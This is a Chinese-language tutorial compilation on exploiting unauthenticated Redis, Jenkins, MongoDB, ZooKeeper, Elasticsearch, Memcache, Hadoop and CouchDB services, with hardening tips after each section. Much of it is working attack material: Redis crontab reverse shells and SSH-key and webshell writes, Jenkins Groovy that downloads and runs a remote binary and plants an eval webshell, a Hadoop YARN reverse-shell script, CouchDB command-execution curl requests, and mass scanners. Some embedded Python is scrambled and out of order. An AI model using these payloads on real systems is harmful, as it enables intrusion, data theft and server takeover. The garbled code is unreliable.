天天看點

未授權通路的tips

前言

知識那麼多,大佬們學慢點,我營養跟不上啦! 前人栽樹後人乘涼,本文主要是把一些資料依葫蘆畫瓢學習了下,做了個彙總.

0x00 小二上酒

https://github.com/se55i0n/DBScanner

a)Redis未授權通路

b)Jenkins未授權通路

c)MongoDB未授權通路

d)ZooKeeper未授權通路

e)Elasticsearch未授權通路

f)Memcache未授權通路

g)Hadoop未授權通路

h)CouchDB未授權通路

i)Docker未授權通路

0x01 Redis未授權通路

Redis提供了2種不同的持久化方式,RDB方式和AOF方式.

RDB 持久化可以在指定的時間間隔内生成資料集的時間點快照.

AOF 持久化記錄伺服器執行的所有寫操作指令.

經過檢視官網文檔發現AOF方式備份資料庫的檔案名預設為appendonly.aof,可以在配置檔案中通過appendfilename設定其他名稱,通過測試發現不能在用戶端互動中動态設定appendfilename,是以不能通過AOF方式備份寫任意檔案.

RDB方式備份資料庫的檔案名預設為dump.rdb,此檔案名可以通過用戶端互動動态設定dbfilename來更改,造成可以寫任意檔案.

1.掃描探測

(1). 測試時建議 vim /etc/redis.conf

(1)cp redis.conf ./src/redis.conf
 (2)bind 127.0.0.1前面加上##号注釋掉 或者更改成 0.0.0.0
 (3)protected-mode設為no
 (4)啟動redis-server ------> ./src/redis-server redis.conf           

(2). 攻擊者喜歡的指令

(1)檢視資訊:info
 (2)删除所有資料庫内容:flushall
 (3)重新整理資料庫:flushdb
 (4)看所有鍵:KEYS *,使用select num可以檢視鍵值資料。
 (5)設定變量:set test "who am i"
 (6)config set dir dirpath 設定路徑等配置
 (7)config get dir/dbfilename 擷取路徑及資料配置資訊
 (8)save儲存
 (9)get 變量,檢視變量名稱           

(3). msf下利用子產品

auxiliary/scanner/redis/file_upload 
 auxiliary/scanner/redis/redis_login
 auxiliary/scanner/redis/redis_server           

(4). nmap及擷取資訊

未授權通路的tips
未授權通路的tips

匿名掃描腳本:https://xz.aliyun.com/t/528

2.攻擊的幾種方法

參考:

http://www.cnblogs.com/xiaozi/p/7568272.html

https://evi1cg.me/archives/hackredis.html

(1).利用計劃任務執行指令反彈shell

在redis以root權限運作時可以寫crontab來執行指令反彈shell

先在自己的伺服器上監聽一個端口

nc -lvnp 7999

然後執行指令:

root@kali:~## redis-cli -h 192.168.63.130
 192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
 192.168.63.130:6379> config set dir /var/spool/cron/
 192.168.63.130:6379> config set dbfilename root
 192.168.63.130:6379> save           

ps:此處使用bash反彈shell,也可使用其他方法

(2).寫ssh-keygen公鑰然後使用私鑰登陸

在以下條件下,可以利用此方法

1、Redis服務使用ROOT賬号啟動

2、伺服器開放了SSH服務,而且允許使用密鑰登入,即可遠端寫入一個公鑰,直接登入遠端伺服器。

首先在本地生成一對密鑰:

root@kali:~/.ssh## ssh-keygen -t rsa

然後redis執行指令:

ssh-keygen -t rsa

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
cat foo.txt | redis-cli -h x.x.x.x -x set crackit
redis-cli -h x.x.x.x
 > config set dir /root/.ssh/
 > config get dir
 > config set dbfilename "authorized_keys"
 > save

ssh -i id_rsa [email protected]           

或者如下

192.168.63.130:6379> config set dir /root/.ssh/
192.168.63.130:6379> config set dbfilename authorized_keys
192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"

192.168.63.130:6379> save           

(3).往web實體路徑寫webshell

當redis權限不高時,并且伺服器開着web服務,在redis有web目錄寫權限時,可以嘗試往web路徑寫webshell

192.168.63.130:6379> config set dir /var/www/html/
 192.168.63.130:6379> config set dbfilename shell.php
 192.168.63.130:6379> set x "<?php phpinfo();?>"
 192.168.63.130:6379> save           

即可将shell寫入web目錄(web目錄根據實際情況

(4).寫二進制檔案,利用dns、icmp等協定上線(tcp協定不能出網)

寫二進制檔案跟前邊有所不同,原因在于使用RDB方式備份redis資料庫是預設情況下會對檔案進行壓縮,上傳的二進制檔案也會被壓縮,而且檔案前後存在髒資料,是以需要将預設壓縮關閉,并且通過計劃任務調用python清洗髒資料。

local function hex2bin(hexstr)
 local str = ""
 for i = 1, string.len(hexstr) - 1, 2 do
 local doublebytestr = string.sub(hexstr, i, i+1);
 local n = tonumber(doublebytestr, 16);
 if 0 == n then
 str = str .. '\00'
 else
 str = str .. string.format("%c", n)
 end
 end
 return str
end

local dir = redis.call('config','get','dir')
redis.call('config','set','dir','/tmp/')
local dbfilename = redis.call('config','get','dbfilename')
redis.call('config','set','dbfilename','t')
local rdbcompress = redis.call('config','get','rdbcompression')
redis.call('config','set','rdbcompression','no')
redis.call('flushall')

local data = '1a2b3c4d5e6f1223344556677890aa'
redis.call('set','data',hex2bin('0a7c7c7c'..data..'7c7c7c0a'))
local rst = {}
rst[1] = 'server default config'
rst[2] = 'dir:'..dir[2]
rst[3] = 'dbfilename:'..dbfilename[2]
rst[4] = 'rdbcompression:'..rdbcompress[2]
return rst
儲存以上代碼為a.lua,變量data儲存的是程式的16進制編碼,執行           

redis-cli --eval a.lua -h *.*.*.*

由于redis不支援在lua中調用save是以需要手動執行save操作,并且删除key data,恢複dir等。

redis-cli save -h *.*.*.*
redis-cli config set dir *** -h *.*.*.*
redis-cli config set dbfilename *** -h *.*.*.*
redis-cli config set rdbcompression * -h *.*.*.*           

目前寫入的檔案前後是存在垃圾資料的,下一步通過寫計劃任務調用python或者系統指令提取出二進制檔案(寫檔案之在資料前後加入了

|||

作為提取最終檔案的辨別)。

*/1 * * * * python -c 'open("/tmp/rst","a+").write(open("/tmp/t").read().split("|||")[1])'

/tmp/rst為最終上傳的檔案。

(5).傻瓜式python腳本

From:https://raw.githubusercontent.com/00theway/redis_exp/master/redis_exp.py

執行指令
需要root權限,每次添加計劃任務前先擷取伺服器時間,然後根據擷取的時間設定執行計劃任務的時間,確定指令被執行一次,避免多次執行引發伺服器異常。
 python redis_exp.py --host *.*.*.* -c 'id'

上傳檔案
上傳攜帶髒資料的檔案不需要root權限,上傳二進制檔案需要root權限,先上傳帶有髒資料的檔案,在檔案前後插入特征字元串,然後添加計劃任務截取資料
 python redis_exp.py --host *.*.*.* -l /data/payload.py -r /tmp/p.py

暴力猜解目錄
不需要root權限,利用 config set dir 'xx' 報錯進行目錄猜解
 python redis_exp.py --host *.*.*.* -f p.txt

可以通過-p參數更改預設端口,-t參數更改等待時間           
未授權通路的tips
未授權通路的tips

(6).批量驗證

From:https://github.com/Ridter/hackredis

3.防護措施

1.禁止一些高危指令

修改 redis.conf 檔案,添加以下内容,來禁用遠端修改 DB 檔案位址

rename-command FLUSHALL ""
 rename-command CONFIG ""
 rename-command EVAL ""           

2.以低權限運作 Redis 服務

為 Redis 服務建立單獨的使用者和家目錄,并且配置禁止登陸

$ groupadd -r redis && useradd -r -g redis redis

3.為 Redis 添加密碼驗證

修改 redis.conf 檔案,添加

requirepass mypassword

4.禁止外網通路 Redis

修改 redis.conf 檔案,添加或修改,使得 Redis 服務隻在目前主機可用

bind 127.0.0.1

5.保證 authorized_keys 檔案的安全

為了保證安全,您應該阻止其他使用者添加新的公鑰。

将 authorized_keys 的權限設定為對擁有者隻讀,其他使用者沒有任何權限:

## chmod 400 ~/.ssh/authorized_keys

為保證 authorized_keys 的權限不會被改掉,您還需要設定該檔案的 immutable 位權限:

## chattr +i ~/.ssh/authorized_keys

然而,使用者還可以重命名 ~/.ssh,然後建立新的 ~/.ssh 目錄和 authorized_keys 檔案。要避免這種情況,需要設定 ~./ssh 的 immutable 位權限:

## chattr +i ~/.ssh

注意: 如果需要添加新的公鑰,需要移除 authorized_keys 的 immutable 位權限。然後,添加好新的公鑰之後,按照上述步驟重新加上 immutable 位權限。

6.修改預設端口

指定Redis監聽端口,預設端口為6379,作者在自己的一篇博文中解釋了為什麼選用6379作為預設端口,因為6379在手機按鍵上MERZ對應的号碼,而MERZ取自意大利歌女Alessia Merz的名字

## redis-server --port 6380

7.防火牆

// accept
## iptables -A INPUT -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
## iptables -A INPUT -p udp -s 127.0.0.1 --dport 6379 -j ACCEPT

// drop
## iptables -I INPUT -p tcp --dport 6379 -j DROP
## iptables -I INPUT -p udp --dport 6379 -j DROP

// 儲存規則并重新開機 iptables
## service iptables save
## service iptables restart           

0x02 Jenkins未授權通路

弱密碼掃描:https://github.com/blackye/Jenkins 或者 https://github.com/blackye/Jenkins

From: https://www.secpulse.com/archives/2166.html

CVE-2017-1000353:https://blogs.securiteam.com/index.php/archives/3171

提示: script/manage 是管理頁面

未授權通路的tips

2. 攻擊利用

2.1 反彈shell

println "wget http://192.168.3.131:8081/exp -P /tmp/".execute().text
println "chmod +x /tmp/exp".execute().text
println "/tmp/exp".execute().text           

或者直接通過 Terminal+Plugin

https://wiki.jenkins.io/display/JENKINS/Terminal+Plugin

2.2 寫webshell

1. println "wget http://shell.com/shell.txt -P /var/www/html/".execute().text

2. new File("/var/www/html/shell.php").write('<?php @eval($_POST[shell]);?>');

3. 
def webshell = '<?php @eval($_POST[shell]);?>'
new File("/var/www/html/shell.php").write("$webshell");

4. 
def execute(cmd) {
def proc = cmd.execute()
proc.waitFor()
}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /var/www/html/shell.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[shell]);?>" >> /var/www/html/shell.php' ] )
//參數-n 不要在最後自動換行           

2.3 讀檔案

try{

text = new File("/etc/passwd").getText();

out.print text

} catch(Exception e){

}           

2.4 執行指令

def sout = new StringBuilder(), serr = new StringBuilder()
def proc = 'cat /etc/passwd'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"           

回顯注意點

  • Result: 0 表示成功寫入
  • Result: 1 表示目錄不存在或者權限不足 寫入失敗
  • Result: 2 表示構造有異常 寫入失敗
未授權通路的tips

jenkins可以對每個使用者配置設定不同的權限,如Overall/RunScripts或者Job/Configure權限

某些版本匿名使用者可以通路asynchPeople 可爆破密碼(通常很多密碼跟使用者名一樣或者是其他弱密碼(top1000),尤其是内網)

3. 模拟低權限

省略掉注冊并且安裝plugin的傻瓜式操作

預設安裝的情況下,匿名使用者是沒有任何權限的,這裡修改配置,讓匿名使用者隻擁有 檢視Job、Job Configure 權限

1.點選 管理(Manage Jenkins) - Configure Global Security

2.在 添加使用者/組(User/group to add): 填入目前登入的使用者名,然後點選 Add,移到最右側,點選 ️,讓使用者擁有所有權限

此步非常重要,不然儲存後會導緻 admin is missing the Overall/Read permission 錯誤,如下圖所示

未授權通路的tips

3.然後通路 http://127.0.0.1:8080/newJob ,名稱填 Test,類型選擇 建構一個自由風格的軟體項目(Freestyle project )後點選 Save,如下圖所示代表建立成功

未授權通路的tips

4.建立一個無痕視窗,通過匿名通路看到有配置權限

未授權通路的tips

點選 配置(Configure),在 Build 部分選擇 Execute shell

在 Command 中填入要執行的指令

id
uname -a 
cat /etc/passwd           
未授權通路的tips

5.通過檢視 Configure 頁面的選項,得知在 建構觸發器(Build Triggers) 部分可以設定任務 Build 的觸發規則,其中有一個 Build periodically,可以通過類似 Crontab 時間規則來觸發,這裡填入

*/1 * * * *

即每分鐘執行一次 Build,點選 Save

未授權通路的tips

6.回到 Job 頁面,等待一會,在左側 Build History 可以看到,每分鐘都會執行一次 Build,這裡點選檢視 Console Output

未授權通路的tips

指令執行成功

未授權通路的tips

匿名使用者是沒有 Build 權限,即 Job 的頁面中是沒有 立即建構(Build Now) 按鈕,是以這裡無法通過點選 立即建構 來觸發指令的執行。

4. 防護措施

  • 在Jenkins管理頁面添加通路密碼。建議您使用由十位以上數字,字母和特殊符号組成的強密碼。
  • 建議您不要将管理背景開放到網際網路上。您可以使用ECS安全組政策設定通路控制,預設政策為拒絕所有通信。您可以根據業務釋出情況僅開放* 需要對外使用者提供的服務,并控制好通路源IP。

0x03 MongoDB未授權通路

MongoDB 預設直接連接配接,無須身份驗證,如果目前機器可以公網通路,且不注意Mongodb 端口(預設 27017)的開放狀态,那麼Mongodb就會産生安全風險,被利用此配置漏洞,入侵資料庫。

  • 使用預設 mongod 指令啟動 Mongodb
  • 機器可以被公網通路
  • 在公網上開放了 Mongodb 端口
  • 資料庫隐私洩露
  • 資料庫被清空
  • 資料庫運作緩慢

1. 掃描探測

下載下傳:http://nmap.org/svn/scripts/mongodb-info.nse

nmap -p 27017 --script mongodb-info <ip>

未授權通路的tips

vim /etc/mongodb.conf

dbpath = /data/

logpath = /var/logs/mongodb.log

##port = 27017 ##fork = true bind_ip = 0.0.0.0

./mongod –config mongodb.conf //啟動mongodb加載配置mongodb.conf

1.1 基礎

https://www.jianshu.com/p/8bf26effa737

http://www.runoob.com/mongodb/mongodb-tutorial.html

https://itbilu.com/database/mongo/E1tWQz4_e.html

1.2 批量掃描未授權

import socket
import sys
import pymongo

ipcons = []
def Scanner(ip):
 global ipcons
 sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sk.settimeout(0.3)
 try:
 sk.connect((ip,27017))
 ipcons.append(ip)
 sk.close()
 except Exception:
 pass

def ip2num(ip):
 ip=[int(x) for x in ip.split('.')]
 return ip[0] <<24 | ip[1]<<16 | ip[2]<<8 |ip[3]

def num2ip(num):
 return '%s.%s.%s.%s' %( (num & 0xff000000) >>24,
 (num & 0x00ff0000) >>16,
 (num & 0x0000ff00) >>8,
 num & 0x000000ff )

def get_ip(ip):
 start,end = [ip2num(x) for x in ip.split(' ') ]
 return [ num2ip(num) for num in range(start,end+1) if num & 0xff ]

startIp = sys.argv[1]
endIp = sys.argv[2]
iplist = get_ip(sys.argv[1]+" "+sys.argv[2])
for i in iplist:
 Scanner(i)

def connMon(ip_addr):
 print ' Connect mongodb: ' + ip_addr + ':27017'
 try:
 conn = pymongo.MongoClient(ip_addr,27017,socketTimeoutMS=3000)
 dbname = conn.database_names()
 print "success"
 except Exception as e:
 print "error"

print ipcons 
for ipaddr in ipcons:
 connMon(ipaddr)
 print "================="           

1.3 shodan掃描腳本

##!/usr/bin/python
## -*- coding: UTF-8 -*-
'''
@Author:joy_nick
@部落格:http://byd.dropsec.xyz/
'''
import shodan
import os
iplist = []
ip_list = []
shodan_ip_list = []
def shodanSearch(keywords):
 SHODAN_API_KEY = "your key"
 api = shodan.Shodan(SHODAN_API_KEY)
 total = 0
 try:
 results = api.search(keywords)
 total = int(results['total'])
 for result in results['matches']:
 ##iplist.append({"ip":result['ip_str'],"country":result['location']['country_name']})
 iplist.append(result['ip_str'])
 for i in range(len(iplist)):
 ip_list = iplist[i].encode('utf-8')
 shodan_ip_list.append(ip_list)
 s = '\n'.join(shodan_ip_list)
 with open('shodan_ip_list.txt','w') as output:
 output.write(s)
 except shodan.APIError, e:
 print 'Error: %s' % e
if __name__ == '__main__':
 shodanSearch('redis')           

查詢操作

未授權通路的tips

2. 爆破腳本

https://github.com/netxfly/x-crack

未授權通路的tips

3. 攻擊腳本

https://github.com/youngyangyang04/NoSQLAttack

https://www.youtube.com/watch?v=R6-nXCVNxEw

4. 防範措施

(1).建立管理賬戶開啟MongoDB授權

建立終端[參數預設可以不加,若有自定義參數,才要加上,下同]

mongod --port 27017 --dbpath /data/db1

另起一個終端,運作下列指令

mongo --port 27017

 use admin

 db.createUser(
 {
 user: "adminUser",
 pwd: "adminPass",
 roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
 }
 )           

管理者建立成功,現在擁有了使用者管理者 使用者名:adminUser 密碼:adminPass

未授權通路的tips

(2).本地通路

bind 127.0.0.1

(3).修改預設端口

修改預設的mongoDB端口(預設為: TCP 27017)為其他端口

(4).禁用HTTP和REST端口

MongoDB自身帶有一個HTTP服務和并支援REST接口。在2.6以後這些接口預設是關閉的。mongoDB預設會使用預設端口監聽web服務,一般不需要通過web方式進行遠端管理,建議禁用。修改配置檔案或在啟動的時候選擇–nohttpinterface 參數nohttpinterface = false

(5).開啟日志審計功能

審計功能可以用來記錄使用者對資料庫的所有相關操作。這些記錄可以讓系統管理者在需要的時候分析資料庫在什麼時段發生了什麼事情

(6).開啟auth認證

/etc/mongodb.conf  
auth = true           

其他:http://www.mottoin.com/105609.html

0x04 ZooKeeper未授權通路

From: http://www.polaris-lab.com/index.php/archives/41/

http://www.majunwei.com/category/201612011952003333/

http://www.mottoin.com/92742.html

http://cve.scap.org.cn/CVE-2014-0085.html

http://ifeve.com/zookeeper_guidetozkoperations/

http://blog.csdn.net/u011721501/article/details/44062617

ZooKeeper是一個分布式的,開放源碼的分布式應用程式協調服務,是Google的Chubby一個開源的實作,是Hadoop和Hbase的重要元件。它是一個為分布式應用提供一緻性服務的軟體,提供的功能包括:配置維護、域名服務、分布式同步、組服務等。

ZooKeeper預設開啟在2181端口,在未進行任何通路控制情況下,攻擊者可通過執行envi指令獲得系統大量的敏感資訊,包括系統名稱、Java環境。

./zkCli.sh -server 127.0.0.1 2181

未授權通路的tips

nmap -sS -p2181 -oG zookeeper.gnmap 192.168.1.0/24

grep "Ports: 2181/open/tcp" zookeeper.gnmap | cut -f 2 -d ' ' > Live.txt

未授權通路的tips

2.攻擊擷取資訊

  • stat:列出關于性能和連接配接的用戶端的統計資訊。

    echo stat |ncat 127.0.0.1 2181

  • ruok:測試伺服器是否運作在非錯誤狀态。

    echo ruok |ncat 127.0.0.1 2181

  • reqs:列出未完成的請求。

    echo reqs |ncat 127.0.0.1 2181

  • envi:列印有關服務環境的詳細資訊。

    echo envi |ncat 127.0.0.1 2181

dump:列出未完成的會話和臨時節點。

echo dump |ncat 127.0.0.1 2181

3.防範措施

  • 禁止把Zookeeper直接暴露在公網
  • 添加通路控制,根據情況選擇對應方式(認證使用者,使用者名密碼,指定IP)

0x05 Elasticsearch未授權通路

ElasticSearch 是一款Java編寫的企業級搜尋服務,啟動此服務預設會開放HTTP-9200端口,可被非法操作資料。

1.熟悉的響應 You Know, for Search

$ curl http://127.0.0.1:9200/_cat/indices/

{ "status" : 200, "name" : "Flake", "cluster_name" : "elasticsearch", "version" : {"number" : "1.4.1"," "build_hash" : "b88f43fc40b0bcd7f173xxxxx2e97816de80b19", "build_timestamp" : "2015-07-29T09:54:16Z", "build_snapshot" : false, "lucene_version" : "4.10.4"}, "tagline" : "You Know, for Search"}           

2.漏洞測試

安裝了river之後可以同步多種資料庫資料(包括關系型的mysql、mongodb等)。

http://localhost:9200/_cat/indices

裡面的indices包含了_river一般就是安裝了river了。

http://localhost:9200/_plugin/head/ web管理界面

http://localhost:9200/_cat/indices

http://localhost:9200/_river/_search 檢視資料庫敏感資訊

http://localhost:9200/_nodes 檢視節點資料

未授權通路的tips
未授權通路的tips

##! /usr/bin/env python

## _*_ coding:utf-8 _*_

def Elasticsearch_check(ip, port=9200, timeout=5):

import requests try:

  url = "http://"+ip+":"+str(port)+"/_cat"

response = requests.get(url) except:   pass

  print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port)

if "/_cat/master" in response.content: if __name__ == '__main__':

Elasticsearch_check("127.0.0.1")

https://www.secpulse.com/archives/46394.html

3.漏洞修複

(1)、預設開啟的9200端口和使用的端口不對外公布,或架設内網環境。或者防火牆上設定禁止外網通路9200端口。

// accept
## iptables -A INPUT -p tcp -s 127.0.0.1 --dport 9200 -j ACCEPT
## iptables -A INPUT -p udp -s 127.0.0.1 --dport 9200 -j ACCEPT

// drop
## iptables -I INPUT -p tcp --dport 9200 -j DROP
## iptables -I INPUT -p udp --dport 9200 -j DROP

// 儲存規則并重新開機 iptables
## service iptables save
## service iptables restart           

(2)、架設nginx反向代理伺服器,并設定http basic認證來實作elasticsearch的登入認證。

https://www.jianshu.com/p/7ec26c13abbb

https://www.sojson.com/blog/213.html

(3)、限制IP通路,綁定固定IP

(4)、為elasticsearch增加登入驗證,可以使用官方推薦的shield插件,該插件為收費插件,可試用30天,免費的可以使用elasticsearch-http-basic,searchguard插件。插件可以通過運作Biplugin install [github-name]/repo-name。同時需要注意增加驗證後,請勿使用弱密碼。 在config/elasticsearch.yml中為9200端口設定認證:

http.basic.enabled true ##開關,開啟會接管全部HTTP連接配接
http.basic.user "admin" ##賬号
http.basic.password "admin_pw" ##密碼
http.basic.ipwhitelist ["localhost", "127.0.0.1"] ##白名單内的ip通路不需要通過賬号和密碼,支援ip和主機名,不支援ip區間或正則
http.basic.trusted_proxy_chains [] ##信任代理清單
http.basic.log false ##把無授權的通路事件添加到ES的日志
http.basic.xforward "" ##記載代理路徑的header字段名           

https://github.com/elastic/kibana/blob/3.0/sample/nginx.conf

https://blog.csdn.net/u011419453/article/details/39395627

0x06 Memcache未授權通路

memcached是一套分布式的高速緩存系統。它以Key-Value(鍵值對)形式将資料存儲在記憶體中,這些資料通常是應用讀取頻繁的。正因為記憶體中資料的讀取遠遠大于硬碟,是以可以用來加速應用的通路。

未授權通路的tips

## _*_ coding:utf-8 _*_

def Memcache_check(ip, port=11211, timeout=5):

try: socket.setdefaulttimeout(timeout)

s.connect((ip, int(port)))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.send("stats\r\n")

print '[+] Memcache Unauthorized: ' +ip+':'+str(port)

result = s.recv(1024) if "STAT version" in result: except Exception, e: pass

Elasticsearch_check("127.0.0.1")

if __name__ == '__main__':

2.攻擊利用

2.1 基礎部分

通過一個

cheat sheet

了解一下Memcached的協定。Memcached的文法由如下元素組成

  • {COMMAND}0x20{ARGUMENT}(LF|CRLF)

command字段有如下幾條指令

  • 存儲操作(set, add, replace, append, prepend, cas)
  • 檢索操作 (get, gets)
  • 删除操作 (delete)
  • 增減操作 (incr, decr)
  • touch
  • slabs reassign
  • slabs automove
  • lru_crawler
  • 統計操作(stats items, slabs, cachedump)
  • 其他操作 (version, flush_all, quit)
Command 描述 執行個體
get 讀某個值 get mykey
set 強制設定某個鍵值 set mykey 0 60 5
add 添加新鍵值對 add newkey 0 60 5
replace 覆寫已經存在的key replace key 0 60 5
flush_all 讓所有條目失效
stats 列印目前狀态
stats malloc 列印記憶體狀态
version 列印Memcached版本
stats //檢視memcache 服務狀态
stats items //檢視所有items
stats cachedump 32 0 //獲得緩存key
get :state:264861539228401373:261588 //通過key讀取相應value ,獲得實際緩存内容,造成敏感資訊洩露           

2.2 建立連接配接并擷取資訊

telnet <target> 11211

,或

nc -vv <target> 11211

,無需使用者名密碼,可以直接連接配接memcache 服務的11211端口。

未授權通路的tips

附贈大佬寫的文章 Discuz!因Memcached未授權通路導緻的RCE

1.限制通路

如果memcache沒有對外通路的必要,可在memcached啟動的時候指定綁定的ip位址為 127.0.0.1。其中 -l 參數指定為本機位址。例如:

memcached -d -m 1024 -u root -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

或者 vim /etc/sysconfig/memcached,修改配置檔案

OPTIONS="-l 127.0.0.1"

,隻能本機通路,不對公網開放,儲存退出 /etc/init.d/memcached reload

2.防火牆

// accept
## iptables -A INPUT -p tcp -s 127.0.0.1 --dport 11211 -j ACCEPT
## iptables -A INPUT -p udp -s 127.0.0.1 --dport 11211 -j ACCEPT

// drop
## iptables -I INPUT -p tcp --dport 11211 -j DROP
## iptables -I INPUT -p udp --dport 11211 -j DROP

// 儲存規則并重新開機 iptables
## service iptables save
## service iptables restart           

3.使用最小化權限賬号運作Memcached服務

使用普通權限賬号運作,指定Memcached使用者。

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

4.啟用認證功能

Memcached本身沒有做驗證通路子產品,Memcached從1.4.3版本開始,能支援SASL認證。SASL認證詳細配置手冊

5.修改預設端口

修改預設11211監聽端口為11222端口。在Linux環境中運作以下指令:

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid

6.定期更新

http://lzone.de/cheat-sheet/memcached

https://www.secpulse.com/archives/49659.html

https://www.sensepost.com/blog/2010/blackhat-write-up-go-derper-and-mining-memcaches/

https://www.blackhat.com/docs/us-14/materials/us-14-Novikov-The-New-Page-Of-Injections-Book-Memcached-Injections-WP.pdf

http://niiconsulting.com/checkmate/2013/05/memcache-exploit/

https://xz.aliyun.com/t/2018

http://drops.xmd5.com/static/drops/web-8987.html

https://blog.csdn.net/microzone/article/details/79262549

0x07 Hadoop未授權通路

Hadoop是一款由Apache基金會推出的分布式系統架構,它通過著名的 MapReduce 算法進行分布式處理。這個架構被Adobe,Last fm,EBay,Yahoo等知名公司使用着。它極大地精簡化程式員進行分布式計算時所需的操作,使用者大概通過如下步驟在hadoop中實作分布式處理:

  • 使用者建立一個處理鍵值的map函數
  • 産生了一套中間鍵/值
  • reduce函數合并中間值并把他們關聯到對應的鍵

1.1 常見端口

未授權通路的tips

1.2 敏感端口

子產品 節點 預設端口
HDFS NameNode 50070
SecondNameNode 50090
DataNode 50075
Backup/Checkpoint node 50105
MapReduce JobTracker 50030
TaskTracker 50060

通過通路 NameNode WebUI 管理界面的 50070 端口,可以下載下傳任意檔案。而且,如果 DataNode 的預設端口 50075 開放,攻擊者可以通過 HDSF 提供的 restful API 對 HDFS 存儲的資料進行操作。

未授權通路的tips

2. 攻擊手法

利用方法和原理中有一些不同。在沒有 hadoop client 的情況下,直接通過 REST API 也可以送出任務執行。

利用過程如下:

  • 在本地監聽等待反彈 shell 連接配接
  • 調用 New Application API 建立 Application
  • 調用 Submit Application API 送出

P牛的攻擊腳本

##!/usr/bin/env python

import requests

target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' ## put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
 'application-id': app_id,
 'application-name': 'get-shell',
 'am-container-spec': {
 'commands': {
 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
 },
 },
 'application-type': 'YARN',
}
requests.post(url, json=data)           
未授權通路的tips

3. 防範措施

1. 網絡通路控制

使用 安全組防火牆 或本地作業系統防火牆對通路源 IP 進行控制。如果您的 Hadoop 環境僅對内網伺服器提供服務,建議不要将 Hadoop 服務所有端口釋出到網際網路。

2. 啟用認證功能

啟用 Kerberos 認證功能。

3. 更新更新檔

不定期關注 Hadoop 官方釋出的最新版本,并及時更新更新檔。

0x08 CouchDB未授權通路

介紹

CouchDB 是一個開源的面向文檔的資料庫管理系統,可以通過 RESTful JavaScript Object Notation (JSON) API 通路。CouchDB會預設會在5984端口開放Restful的API接口,用于資料庫的管理功能。

CouchDB允許使用者指定一個二進制程式或者腳本,與CouchDB進行資料互動和處理,query_server在配置檔案local.ini中的格式:

[query_servers]
LANGUAGE = PATH ARGS
預設情況下,配置檔案中已經設定了兩個query_servers:

[query_servers]
javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js           

可以看到,CouchDB在query_server中引入了外部的二進制程式來執行指令,如果我們可以更改這個配置,那麼就可以利用資料庫來執行指令了

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一個任意指令執行漏洞,我們可以通過config api修改couchdb的配置query_server,這個配置項在設計、執行view的時候将被運作。

http://bobao.360.cn/learning/detail/4716.html

https://justi.cz/security/2017/11/14/couchdb-rce-npm.html

影響版本:小于 1.7.0 以及 小于 2.1.1

該漏洞是需要登入使用者方可觸發,如果不知道目标管理者密碼,可以利用CVE-2017-12635先增加一個管理者使用者。

nmap -p 5984 --script "couchdb-stats.nse" 127.0.0.1

未授權通路的tips

2.兩個版本的利用方式

(1) 1.6.0 下的說明

依次執行如下請求即可觸發任意指令執行,其中,vulhub:vulhub為管理者賬号密碼。

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'           
未授權通路的tips

第一個請求是添加一個名字為cmd的query_servers,其值為

id >/tmp/success

,這就是我們後面待執行的指令。

第二、三個請求是添加一個Database和Document,這裡添加了後面才能查詢。

第四個請求就是在這個Database裡進行查詢,因為我将language設定為cmd,這裡就會用到我第一步裡添加的名為cmd的query_servers,最後觸發指令執行。

(2) 2.1.0 下的說明

2.1.0中修改了我上面用到的兩個API,這裡需要詳細說明一下。

Couchdb 2.x 引入了叢集,是以修改配置的API需要增加node name。這個其實也簡單,我們帶上賬号密碼通路/_membership即可:

curl http://vulhub:vulhub@your-ip:5984/_membership

可見,我們這裡隻有一個node,名字是nonode@nohost。

然後,我們修改nonode@nohost的配置:

curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'

然後,與1.6.0的利用方式相同,我們先增加一個Database和一個Document:

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
